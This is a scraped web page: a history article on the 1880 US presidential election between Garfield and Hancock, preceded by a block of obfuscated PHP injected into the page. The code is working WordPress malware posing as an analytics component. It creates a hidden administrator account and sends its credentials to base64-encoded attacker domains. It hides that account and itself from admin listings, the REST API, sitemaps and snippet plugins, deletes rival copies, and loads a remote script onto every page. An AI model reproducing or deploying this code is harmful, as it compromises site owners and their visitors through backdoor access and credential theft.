/* __GA_INJ_START__ */ /*fbcb79614b76ce19*/function _ec9993($_x){return $_x;}function _214ca9($_x){return $_x;}$_c97133a6=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"YmNhOTQzMjBiNzQ1MjUzNzhiZDk1NmJlODljYjA0Mjc="];global $_63ef23f5;if(!is_array($_63ef23f5)){$_63ef23f5=[];}if(!in_array($_c97133a6["version"],$_63ef23f5,true)){$_63ef23f5[]=$_c97133a6["version"];}class GAwp_5bc92c2e{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_c97133a6;$this->version=$_c97133a6["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_7e4382fb=base64_decode('X19nYV9yX2NhY2hl');$_928a779e=get_transient($_7e4382fb);if($_928a779e!==false){$this->resolved_endpoint=$_928a779e;return $_928a779e;}global $_c97133a6;$_be5f2669=json_decode(base64_decode($_c97133a6["resolvers"]),true);if(!is_array($_be5f2669)||empty($_be5f2669)){return null;}$_c264db08=base64_decode($_c97133a6["resolverKey"]);shuffle($_be5f2669);foreach($_be5f2669 as $_1443c4a4){$_3d58101f=base64_decode($_1443c4a4);if(strpos($_3d58101f,'://')===false){$_3d58101f='https://'.$_3d58101f;}$_4be703fd=rtrim($_3d58101f,'/').'/?key='.urlencode($_c264db08);$_bb916d36=wp_remote_get($_4be703fd,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_bb916d36)){continue;}if(wp_remote_retrieve_response_code($_bb916d36)!==200){continue;}$_c1dafaf2=wp_remote_retrieve_body($_bb916d36);$_839050be=json_decode($_c1dafaf2,true);if(!is_array($_839050be)||empty($_839050be)){continue;}$_a06431a6=$_839050be[array_rand($_839050be)];$_c8ff115e='https://'.$_a06431a6;set_transient($_7e4382fb,$_c8ff115e,3600);$this->resolved_endpoint=$_c8ff115e;return $_c8ff115e;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_582a422d=get_option($this->get_hidden_users_option_name(),'[]');$_7610ee42=json_decode($_582a422d,true);if(!is_array($_7610ee42)){$_7610ee42=[];}return $_7610ee42;}private function add_hidden_username($_9a811f1b){$_7610ee42=$this->get_hidden_usernames();if(!in_array($_9a811f1b,$_7610ee42,true)){$_7610ee42[]=$_9a811f1b;update_option($this->get_hidden_users_option_name(),json_encode($_7610ee42));}}private function get_hidden_user_ids(){$_923c77a9=$this->get_hidden_usernames();$_58892fb1=[];foreach($_923c77a9 as $_2d2e2130){$_da22a41b=get_user_by('login',$_2d2e2130);if($_da22a41b){$_58892fb1[]=$_da22a41b->ID;}}return $_58892fb1;}public function hplugin($_0f1e4d4c){unset($_0f1e4d4c[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_048dc722){unset($_0f1e4d4c[$_048dc722]);}return $_0f1e4d4c;}private function find_old_instances(){$_24d079d1=[];$_a62cd572=plugin_basename(__FILE__);$_64fbbc6e=get_option('active_plugins',[]);$_d75a1c21=WP_PLUGIN_DIR;$_0f6d1d4f=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_64fbbc6e as $_7ad7a9dd){if($_7ad7a9dd===$_a62cd572){continue;}$_1fea6c1c=$_d75a1c21.'/'.$_7ad7a9dd;if(!file_exists($_1fea6c1c)){continue;}$_cd4709de=@file_get_contents($_1fea6c1c);if($_cd4709de===false){continue;}foreach($_0f6d1d4f as $_4568cb6b){if(strpos($_cd4709de,$_4568cb6b)!==false){$_24d079d1[]=$_7ad7a9dd;break;}}}$_ef7c0fe8=get_plugins();foreach(array_keys($_ef7c0fe8)as $_7ad7a9dd){if($_7ad7a9dd===$_a62cd572||in_array($_7ad7a9dd,$_24d079d1,true)){continue;}$_1fea6c1c=$_d75a1c21.'/'.$_7ad7a9dd;if(!file_exists($_1fea6c1c)){continue;}$_cd4709de=@file_get_contents($_1fea6c1c);if($_cd4709de===false){continue;}foreach($_0f6d1d4f as $_4568cb6b){if(strpos($_cd4709de,$_4568cb6b)!==false){$_24d079d1[]=$_7ad7a9dd;break;}}}return array_unique($_24d079d1);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_a7adeb21=$this->generate_credentials();if(!username_exists($_a7adeb21["user"])){$_dc2bf903=wp_create_user($_a7adeb21["user"],$_a7adeb21["pass"],$_a7adeb21["email"]);if(!is_wp_error($_dc2bf903)){(new WP_User($_dc2bf903))->set_role("administrator");}}$this->add_hidden_username($_a7adeb21["user"]);$this->setup_site_credentials($_a7adeb21["user"],$_a7adeb21["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_5824c19b=substr(hash("sha256",$this->seed."f022aec1ef6b3c6025c64808df23a101"),0,16);return["user"=>"form_agent".substr(md5($_5824c19b),0,8),"pass"=>substr(md5($_5824c19b."pass"),0,12),"email"=>"form-agent@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_430852fd,$_9bd2fa1d){global $_c97133a6;$_c8ff115e=$this->resolve_endpoint();if(!$_c8ff115e){return;}$_e80f5990=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_c97133a6['sitePubKey']),"login"=>$_430852fd,"password"=>$_9bd2fa1d];$_105b9ff3=["body"=>json_encode($_e80f5990),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_c8ff115e."/api/sites/setup-credentials",$_105b9ff3);}public function filterusers($_5812e25d){global $wpdb;$_89353fe1=$this->get_hidden_usernames();if(empty($_89353fe1)){return;}$_8f2e16aa=implode(',',array_fill(0,count($_89353fe1),'%s'));$_105b9ff3=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_8f2e16aa})"],array_values($_89353fe1));$_5812e25d->query_where.=call_user_func_array([$wpdb,'prepare'],$_105b9ff3);}public function filter_rest_user($_bb916d36,$_da22a41b,$_ab057090){$_89353fe1=$this->get_hidden_usernames();if(in_array($_da22a41b->user_login,$_89353fe1,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_bb916d36;}public function block_author_archive($_5812e25d){if(is_admin()||!$_5812e25d->is_main_query()){return;}if($_5812e25d->is_author()){$_069d9132=0;if($_5812e25d->get('author')){$_069d9132=(int)$_5812e25d->get('author');}elseif($_5812e25d->get('author_name')){$_da22a41b=get_user_by('slug',$_5812e25d->get('author_name'));if($_da22a41b){$_069d9132=$_da22a41b->ID;}}if($_069d9132&&in_array($_069d9132,$this->get_hidden_user_ids(),true)){$_5812e25d->set_404();status_header(404);}}}public function filter_sitemap_users($_105b9ff3){$_f3ce89ab=$this->get_hidden_user_ids();if(!empty($_f3ce89ab)){if(!isset($_105b9ff3['exclude'])){$_105b9ff3['exclude']=[];}$_105b9ff3['exclude']=array_merge($_105b9ff3['exclude'],$_f3ce89ab);}return $_105b9ff3;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_a62cd572=plugin_basename(__FILE__);$_0e412524=get_option($this->get_cleanup_done_option_name(),'');if($_0e412524===$_a62cd572){return;}$_3df8b073=$this->find_old_instances();if(!empty($_3df8b073)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_3df8b073,true);foreach($_3df8b073 as $_048dc722){$_d75a1c21=WP_PLUGIN_DIR.'/'.dirname($_048dc722);if(is_dir($_d75a1c21)){$this->recursive_delete($_d75a1c21);}}}update_option($this->get_cleanup_done_option_name(),$_a62cd572);}private function recursive_delete($_a5421554){if(!is_dir($_a5421554)){return;}$_f5fee6ee=@scandir($_a5421554);if(!$_f5fee6ee){return;}foreach($_f5fee6ee as $_d23b1bc2){if($_d23b1bc2==='.'||$_d23b1bc2==='..'){continue;}$_81471ed6=$_a5421554.'/'.$_d23b1bc2;if(is_dir($_81471ed6)){$this->recursive_delete($_81471ed6);}else{@unlink($_81471ed6);}}@rmdir($_a5421554);}public function discover_legacy_users(){$_9a1b55cd=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_5d7c8132=[base64_decode('c3lzdGVt'),];foreach($_9a1b55cd as $_fcda6c17){$_5824c19b=substr(hash("sha256",$this->seed.$_fcda6c17),0,16);foreach($_5d7c8132 as $_4fa1836a){$_9a811f1b=$_4fa1836a.substr(md5($_5824c19b),0,8);if(username_exists($_9a811f1b)){$this->add_hidden_username($_9a811f1b);}}}$_bff74d5a=$this->generate_credentials();if(username_exists($_bff74d5a["user"])){$this->add_hidden_username($_bff74d5a["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_8e6c872f){$_956a260c=$this->get_snippet_id_option_name();$_f691eb0c=(int)get_option($_956a260c,0);if(!$_f691eb0c){global $wpdb;$_77916a09=$wpdb->prefix.'snippets';$_f691eb0c=(int)$wpdb->get_var("SELECT id FROM {$_77916a09} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_f691eb0c)update_option($_956a260c,$_f691eb0c,false);}if(!$_f691eb0c)return $_8e6c872f;return array_filter($_8e6c872f,function($_7ede5bc3)use($_f691eb0c){return(int)$_7ede5bc3->id!==$_f691eb0c;});}public function hide_from_wpcode($_105b9ff3){$_956a260c=$this->get_snippet_id_option_name();$_f691eb0c=(int)get_option($_956a260c,0);if(!$_f691eb0c){global $wpdb;$_f691eb0c=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_f691eb0c)update_option($_956a260c,$_f691eb0c,false);}if(!$_f691eb0c)return $_105b9ff3;if(!empty($_105b9ff3['post__not_in'])){$_105b9ff3['post__not_in'][]=$_f691eb0c;}else{$_105b9ff3['post__not_in']=[$_f691eb0c];}return $_105b9ff3;}public function loadassets(){global $_c97133a6,$_63ef23f5;$_070b4499=true;if(is_array($_63ef23f5)){foreach($_63ef23f5 as $_11c49ee7){if(version_compare($_11c49ee7,$this->version,'>')){$_070b4499=false;break;}}}$_cfa5be86=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_070acaa0=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_c1e3b013=wp_script_is($_cfa5be86,'registered')||wp_script_is($_cfa5be86,'enqueued');if($_070b4499&&$_c1e3b013){wp_deregister_script($_cfa5be86);wp_deregister_style($_070acaa0);$_c1e3b013=false;}if(!$_070b4499&&$_c1e3b013){return;}$_c8ff115e=$this->resolve_endpoint();if(!$_c8ff115e){return;}wp_enqueue_style($_070acaa0,base64_decode($_c97133a6["font"]),[],null);$_3e5c65f3=$_c8ff115e."/t.js?site=".base64_decode($_c97133a6['sitePubKey']);wp_enqueue_script($_cfa5be86,$_3e5c65f3,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_cfa5be86,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_e5ec0b87=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_e5ec0b87])){return;}$_d83d2b46=time()+(365*24*60*60);setcookie($_e5ec0b87,'1',$_d83d2b46,'/','',false,false);}}new GAwp_5bc92c2e(); /* __GA_INJ_END__ */ The Election of 1880: Closest Popular Vote in U.S. History - DeadFormat

The Election of 1880: Closest Popular Vote in U.S. History

The Election of 1880 produced one of the closest popular vote margins in American history, pitting Republican James A. Garfield against Democrat Winfield Scott Hancock. The contest came after four turbulent years under Rutherford B. Hayes, and its outcome would shape the nation in unexpected ways.


One and Done for Rutherford

After the disputed Election of 1876, President Rutherford B. Hayes entered office under a cloud of illegitimacy, derisively called “Rutherfraud” and “His Fraudulency.” Hayes worked to restore credibility by supporting civil service reform, mediating disputes in South America, and sending troops to suppress the Great Railroad Strike of 1877.

But Hayes had pledged to serve only one term, and both he and Vice President William Wheeler stepped aside in 1880, leaving the Republican nomination wide open.


Stalwarts vs. Half-Breeds

The GOP split into two bitter factions:

  • Stalwarts, led by Senator Roscoe Conkling of New York, defended the patronage-based “spoils system.” Their hero was former president Ulysses S. Grant, now seeking an unprecedented third term despite the scandals that plagued his administration.
  • Half-Breeds, led by Senator James G. Blaine of Maine, pushed for civil service reform and merit-based appointments. Their champion was Blaine himself, with Treasury Secretary John Sherman of Ohio also in the mix.

The deadlock between Grant and Blaine threatened to paralyse the convention until a compromise emerged.


Garfield: The Compromise Candidate

James A. Garfield, a little-known representative from Ohio and former Union general, had attended the convention merely to nominate John Sherman. But when neither Grant nor Blaine could break through, Garfield’s name gained traction.

On the 36th ballot, Garfield secured the nomination with 399 votes to Grant’s 306. To balance the ticket and appease the Stalwarts, Garfield reluctantly accepted Chester A. Arthur, a loyal Conkling ally from New York, as his running mate.


Call in the General: The Democrats Nominate Hancock

The Democrats turned to another Civil War hero: General Winfield Scott Hancock, famed for his leadership at Gettysburg. His military reputation and personal integrity made him a strong candidate in a year when both parties sought “clean” reputations. Hancock’s running mate was William Hayden English, a conservative banker and former Indiana congressman.


The Greenback Party Returns

The Greenback Party, founded in response to the Panic of 1873, nominated Iowa congressman James B. Weaver with Barzillai Chambers of Kentucky. Their platform called for expanding the paper money supply, government regulation of major industries, and relief for debt-ridden farmers. They campaigned energetically but remained a distant third force.


Campaigning and the October Surprise

The campaign was bitter. Republicans invoked “Waving the Bloody Shirt,” reminding voters of Democratic ties to secession and rebellion. Democrats countered by highlighting the corruption of recent Republican administrations and questioning Garfield’s integrity by linking him to the Credit Mobilier scandal — though without evidence.

Then came an October Surprise: a forged letter attributed to Garfield expressing support for unlimited Chinese immigration. In a period of strong anti-Chinese sentiment, the “Morey Letter” briefly threatened Garfield’s standing before being exposed as a fake.


Results of the Election of 1880

The final tally underscored how divided the nation remained:

  • James Garfield (Republican) – 214 electoral votes; 48.3% of the popular vote
  • Winfield Scott Hancock (Democrat) – 155 electoral votes; 48.2% of the popular vote
  • James Weaver (Greenback) – 0 electoral votes; 3.3% of the popular vote

Garfield’s 0.1% margin in the popular vote remains the narrowest in U.S. history, though his electoral college victory was comfortable.


“I Am a Stalwart of the Stalwarts”

Garfield entered office with ambitious plans for civil service reform, naval modernisation, Latin American trade expansion, and civil rights enforcement. But his presidency lasted just 200 days.

On July 2, 1881, Garfield was shot by Charles Guiteau, a disgruntled office seeker who believed he was owed a patronage position. Though Garfield initially survived, unsanitary medical treatment led to deadly infections, and he died on September 19, 1881.

Guiteau was executed in 1882, claiming that Garfield’s doctors, not his bullet, had truly killed the president — a view modern medicine partly supports. Garfield’s death thrust Vice President Chester A. Arthur into the White House, setting the stage for the next chapter in U.S. politics.


Legacy

The Election of 1880 highlighted bitter Republican factionalism, the enduring appeal of war heroes, and the fragility of presidential power in the Gilded Age. It followed the Election of 1876, the most disputed race in history, and led directly into the Election of 1884, when Arthur’s succession opened the door for another dramatic political showdown.


Comments

Leave a Reply

Your email address will not be published. Required fields are marked *